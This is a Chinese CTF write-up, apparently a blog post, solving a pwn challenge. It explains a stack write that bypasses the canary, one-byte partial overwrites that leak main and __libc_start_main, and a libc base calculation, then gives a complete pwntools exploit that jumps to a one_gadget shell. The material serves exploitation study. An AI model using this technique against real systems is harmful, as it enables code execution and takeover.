解题记录(2)

解题记录(2)

题目不难,但也有思考的地方

题目

如下,保护全开
在这里插入图片描述main函数是调用game函数的,所以主要看一下game函数

主要有下面两点
首先是这一部分,可控的v4,并对数组v5进行写操作,因此这里存在栈溢出,并且能够绕过Canary
在这里插入图片描述第二部分如下,打印刚才写入的单元,但只打印6个字节
在这里插入图片描述

分析

函数可利用的就上面介绍的两点,其他的都是打印打印

先看看第一个read的使用,一开始想到的是栈溢出,因为能够绕过canary直接修改函数返回值,但马上想到,由于程序保护全开,地址进行了随机化,所以就没办法确定函数地址了

之后想到了write函数,能够打印出这个地址的内容,因此,我又想到的是,game函数的返回值其实就是main函数中call game下一条指令的地址
在这里插入图片描述
并且由于程序是从0x0开始的,main函数的地址从0xf1a开始,如果我用0x1a覆盖该返回地址的一个字节,并输出,那么就能得到main的地址了,如下
在这里插入图片描述
有了main的地址,那么是不是就能够正常的溢出了?
我到这里才意识到一个问题,如果我要栈溢出,那么我需要向栈里写入我想要的数据,但read这个漏洞如果不去修改返回地址的话,那他只能用一次,所以这条路走不通

之后有意识到,调用main函数的是__libc_start_main函数,而main函数的返回地址在game返回地址的后两个,也就是v5[25]处
那么可以用同样的方式泄露出__libc_start_main的地址
在这里插入图片描述同样,需要先修改v[25],我这里只覆盖了一个字节,然后打印出的是__libc_start_main+202的地址,通过它能够计算libc的地址了,然后通过one_gadget就能找到执行execve("/bin/sh")的地址
因此,只要在执行一次game函数,同时将game或者main函数的返回地址修改为执行获取shell的地址,就能拿到shell了
那么现在的问题是如何让程序返回

main的返回地址是__libc_start_main某处,我通过覆盖一个字节泄露出了这个地址
而覆盖的这个字节要小于__libc_start_main调用main时指令地址的最末尾的一个字节,并且不能破坏程序结构,因此这里需要一个一个的去尝试,我运气好,用的之前覆盖game返回值的那个字节就成功了
不能覆盖两个以上字节,因为只能确定最后一个字节偏移是没有变的,至于两个字节就不确定了

那么最后的exp

from pwn import *
#context.log_level='debug'
p = process('./Metaphysical_Necrosis')
elf = ELF('./Metaphysical_Necrosis')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def debug():
	gdb.attach(p)
	pause()

payload = 2
def send(pos, data):
	p.recvuntil('你要把C4安放在哪里呢?\n')
	p.sendline(str(pos))
	p.send(data)
	p.recvuntil('the bomb has been planted!\n')
	p.sendline()
	p.recvuntil('不如把它宰了,吃一顿大餐,你说吼不吼啊!\n')
	p.sendline()
	p.recvuntil('你决定给它起个名字:')
	p.sendline('Mike')
	p.recvuntil('接下来开始切菜,你打算把它切成几段呢?\n')
	p.sendline('1')
	p.recvuntil('第0段打算怎么料理呢:')
	p.sendline('1')
	p.recvuntil('就在此时,你发现了一根茄子,这根茄子居然已经把锅里的金枪鱼吃了大半。\n')
	p.sendline()
	p.recvuntil('仔细观察一下,你发现这居然是一只E99p1ant,并且有大量邪恶的能量从中散发。\n')
	p.sendline()
	p.recvuntil('你吓得立马扔掉了它,E99p1ant在空中飞行了114514秒,请问它经过的路程是__m:\n')
	p.sendline('1')
	p.recvline()
	base = u64(p.recv(6).ljust(8, b'\x00'))
	#print(hex(base))
	p.recvuntil('…____\n')
	p.sendline()
	p.recvline()
	return base
base = send(5, p8(0x1a))
__libc_start_main = libc.sym['__libc_start_main']
libc_base = base - 202 - __libc_start_main
exe_binsh = 0x45226 + libc_base
base = send(5, p64(exe_binsh))
p.interactive()

最后

从exp也能看出,题目难度不大,但需要能够想到main的返回地址是__libc_start_main的某处,这样就能泄露libc基地址了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值